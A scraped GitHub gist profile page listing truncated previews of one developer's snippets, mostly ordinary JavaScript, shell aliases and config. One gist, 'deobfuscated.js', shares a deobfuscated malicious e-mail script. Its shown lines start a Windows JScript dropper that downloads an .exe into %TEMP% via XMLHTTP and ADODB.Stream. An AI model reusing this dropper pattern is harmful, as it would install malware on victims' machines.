Skip to content

Instantly share code, notes, and snippets.


Alan Plum pluma

Block or report user

Report or block pluma

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View cancellable.js
/*global assert*/
class CancellationError extends Error {} = 'CancellationError'
function deferred () {
let _resolve, _reject
const promise = new Promise((resolve, reject) => {
_resolve = resolve
_reject = reject
View .bash_aliases
alias g='git status -sb'
alias ga='git add'
alias gac='git commit -S --amend'
alias gb='git branch'
alias gbb='git checkout -b'
alias gbm='git branch --merged'
alias gbn='git branch --no-merged'
alias gc='git commit -S -m'
alias gcp='git cherry-pick'
alias gco='git checkout'
pluma / deobfuscated.js
Last active Mar 22, 2016
Malicious script I got in an e-mail
View deobfuscated.js
var shell = new ActiveXObject('WScript.Shell')
var xhr = new ActiveXObject('MSXML2.XMLHTTP')
var virus = shell.ExpandEnvironmentStrings('%TEMP%') + '/CBMQFs.exe'
xhr.onreadystatechange = function () {
if (xhr.readystate === 4) {
var stream = new ActiveXObject('ADODB.Stream')
stream.type = 1
stream.position = 0
View tap
TAP version 13
# api: lintFiles
ok 1 no error while linting
ok 2 result is an object
ok 3 should be equal
# api: lintText
ok 4 no error while linting
ok 5 result is an object
ok 6 should have used single quotes
# Disabled Packages
pluma / react-routing-dreamcode.js
Last active Nov 30, 2015
Dreamcode for a nested universal/isomorphic router with support for async prefetching and name-based URL generation
View react-routing-dreamcode.js
import React from 'react';
import ReactDOM from 'react-dom';
import {Provider} from 'react-redux';
import {createHistory} from 'history';
import {Router} from '?';
import {Home, UserList, UserDetail, Admin, AdminDashboard} from './views';
import {ErrorView, NotFound, Forbidden, Login} from './views/error';
import {createStore} from './store';
// routes are defined as plain old objects
View es6-array-utils.js
const range1 = n => Array.from(Array(n).keys());
const range2 = (off, n) => Array.from(Array(n - off).keys()).map(i => i + off);
const range3 = (off, step, n) => Array.from(Array(Math.ceil((n - off) / step)).keys()).map(i => i * step + off);
const range = (...args) => args.length === 1 ? range1(...args) : args.length === 2 ? range2(...args) : range3(...args);
const repeat = (x, n) => Array.from(Array(n)).map(() => x);
View swagger.json
"swagger": "2.0",
"info": {
"description": "Enterprise Value Architect",
"version": "0.0.1",
"title": "EVA",
"license": {
"name": ""

Keybase proof

I hereby claim:

  • I am pluma on github.
  • I am pluma ( on keybase.
  • I have a public key whose fingerprint is 640F 5033 8989 39FE 8DEE 8619 D35D 69A8 5AB4 6833

To claim this, I am signing this object:

View index.html
<!doctype html>
<meta charset="utf-8">
<style id="jsbin-css">
.tree {
width: 400px;
margin: 15px 0;
pluma / webapp
Created Oct 15, 2014
Node init.d script with naught.
View webapp
DESC="my application server"
set -e
case "$1" in
You can’t perform that action at this time.